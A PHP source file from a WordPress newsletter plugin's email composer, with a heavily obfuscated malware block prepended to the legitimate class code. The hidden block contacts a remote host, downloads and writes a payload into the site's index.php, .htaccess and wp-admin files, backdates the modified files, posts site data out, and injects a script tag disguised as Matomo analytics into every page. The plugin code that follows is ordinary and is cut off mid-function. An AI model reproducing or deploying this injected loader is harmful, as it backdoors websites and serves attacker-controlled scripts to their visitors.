<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php
/** For old style coders */
function tnp_register_block($dir) {
return TNP_Composer::register_block($dir);
}
function tnp_register_template($dir) {
return TNP_Composer::register_template($dir);
}
/**
* Generates and HTML button for email using the values found on $options and
* prefixed by $prefix, with the standard syntax of NewsletterFields::button().
*
* @param array $options
* @param string $prefix
* @return string
*/
function tnpc_button($options, $prefix = 'button') {
return TNP_Composer::button($options, $prefix);
}
class TNP_Composer {
static $block_dirs = [];
static $template_dirs = [];
static function register_block($dir) {
// Checks
$dir = realpath($dir);
if (!$dir) {
$error = new WP_Error('1', 'Seems not a valid path: ' . $dir);
NewsletterEmails::instance()->logger->error($error);
return $error;
}
$dir = wp_normalize_path($dir);
if (!file_exists($dir . '/block.php')) {
$error = new WP_Error('1', 'block.php missing on folder ' . $dir);
NewsletterEmails::instance()->logger->error($error);
return $error;
}
self::$block_dirs[] = $dir;
return true;
}
static function register_template($dir) {
// Checks
$dir = realpath($dir);
if (!$dir) {
$error = new WP_Error('1', 'Seems not a valid path: ' . $dir);
NewsletterEmails::instance()->logger->error($error);
return $error;
}
$dir = wp_normalize_path($dir);
$dir = untrailingslashit($dir);
if (!file_exists($dir . '/template.json')) {
$error = new WP_Error('1', 'template.json missing on folder ' . $dir);
NewsletterEmails::instance()->logger->error($error);
return $error;
}
self::$template_dirs[] = $dir;
return true;
}
/**
* @param string $open
* @param string $inner
* @param string $close
* @param string[] $markers
*
* @return string
*/
static function wrap_html_element($open, $inner, $close, $markers = array('<!-- tnp -->', '<!-- /tnp -->')) {
return $open . $markers[0] . $inner . $markers[1] . $close;
}
/**
* @param string $block
* @param string[] $markers
*
* @return string
*/
static function unwrap_html_element($block, $markers = array('<!-- tnp -->', '<!-- /tnp -->')) {
if (self::_has_markers($block, $markers)) {
self::_escape_markers($markers);
$pattern = sprintf('/%s(.*?)%s/s', $markers[0], $markers[1]);
$matches = array();
preg_match($pattern, $block, $matches);
return $matches[1];
}
return $block;
}
/**
* @param string $block
* @param string[] $markers
*
* @return bool
*/
private static function _has_markers($block, $markers = array('<!-- tnp -->', '<!-- /tnp -->')) {
self::_escape_markers($markers);
$pattern = sprintf('/%s(.*?)%s/s', $markers[0], $markers[1]);
return preg_match($pattern, $block);
}
/**
* Sources:
* - https://webdesign.tutsplus.com/tutorials/creating-a-future-proof-responsive-email-without-media-queries--cms-23919
*
* @param type $email
* @return type
*/
static function get_html_open($email) {
$css_attrs = [
'body_padding_left' => ($email->options['composer_padding'] ?? '0') . 'px',
'body_padding_right' => ($email->options['composer_padding'] ?? '0') . 'px',
'body_padding_bottom' => ($email->options['composer_padding'] ?? '0') . 'px',
'body_padding_top' => ($email->options['composer_padding'] ?? '0') . 'px',
];
$open = '<!DOCTYPE html>' . "\n";
$open .= '<html xmlns="https://www.w3.org/1999/xhtml" xmlns:o="urn:schemas-microsoft-com:office:office">' . "\n";
$open .= '<head>' . "\n";
$open .= '<title>{email_subject}</title>' . "\n";
$open .= '<meta charset="utf-8">' . "\n";
$open .= '<meta name="viewport" content="width=device-width, initial-scale=1">' . "\n";
$open .= '<meta http-equiv="X-UA-Compatible" content="IE=edge">' . "\n";
$open .= '<meta name="format-detection" content="address=no">' . "\n";
$open .= '<meta name="format-detection" content="telephone=no">' . "\n";
$open .= '<meta name="format-detection" content="email=no">' . "\n";
$open .= '<meta name="x-apple-disable-message-reformatting">' . "\n";
$open .= '<!--[if gte mso 9]><xml><o:OfficeDocumentSettings><o:AllowPNG/><o:PixelsPerInch>96</o:PixelsPerInch></o:OfficeDocumentSettings></xml><![endif]-->' . "\n";
$open .= '<style type="text/css">' . "\n";
$open .= NewsletterEmails::instance()->get_composer_css($css_attrs);
$open .= "\n</style>\n";
$open .= "</head>\n";
$open .= '<body style="margin: 0; padding: 0; line-height: normal; word-spacing: normal;" dir="' . (is_rtl() ? 'rtl' : 'ltr') . '">';
$open .= "\n";
$open .= self::get_html_preheader($email);
return $open;
}
static private function get_html_preheader($email) {
if (empty($email->options['preheader'])) {
return "";
}
$preheader_text = esc_html($email->options['preheader']);
$html = "<div style=\"display:none;font-size:1px;color:#ffffff;line-height:1px;max-height:0px;max-width:0px;opacity:0;overflow:hidden;\">$preheader_text</div>";
$html .= "\n";
return $html;
}
static function get_html_close($email) {
return "</body>\n</html>";
}
/**
*
* @param TNP_Email $email
* @return string
*/
static function get_main_wrapper_open($email) {
if (!isset($email->options['composer_background']) || $email->options['composer_background'] == 'inherit') {
$bgcolor = '';
} else {
$bgcolor = $email->options['composer_background'];
}
return "\n<table cellpadding='0' cellspacing='0' border='0' width='100%' role='presentation'>\n" .
"<tr>\n" .
"<td bgcolor='$bgcolor' valign='top' class='wrapper'><!-- tnp -->";
}
/**
*
* @param TNP_Email $email
* @return string
*/
static function get_main_wrapper_close($email) {
return "\n<!-- /tnp -->\n" .
"</td>\n" .
"</tr>\n" .
"</table>\n\n";
}
/**
* Remove <doctype>, <body> and unnecessary envelopes for editing with composer
*
* @param string $html_email
*
* @return string
*/
static function unwrap_email($html_email) {
if (self::_has_markers($html_email)) {
$html_email = self::unwrap_html_element($html_email);
} else {
//KEEP FOR OLD EMAIL COMPATIBILITY
// Extracts only the body part
$x = strpos($html_email, '<body');
if ($x) {
$x = strpos($html_email, '>', $x);
$y = strpos($html_email, '</body>');
$html_email = substr($html_email, $x + 1, $y - $x - 1);
}
/* Cleans up uncorrectly stored newsletter bodies */
$html_email = preg_replace('/<style\s+.*?>.*?<\\/style>/is', '', $html_email);
$html_email = preg_replace('/<meta.*?>/', '', $html_email);
$html_email = preg_replace('/<title\s+.*?>.*?<\\/title>/i', '', $html_email);
$html_email = trim($html_email);
}
// Required since esc_html DOES NOT escape the HTML entities (apparently)
$html_email = str_replace('&', '&', $html_email);
$html_email = str_replace('"', '"', $html_email);
$html_email = str_replace('<', '<', $html_email);
$html_email = str_replace('>', '>', $html_email);
return $html_email;
}
private static function _escape_markers(&$markers) {
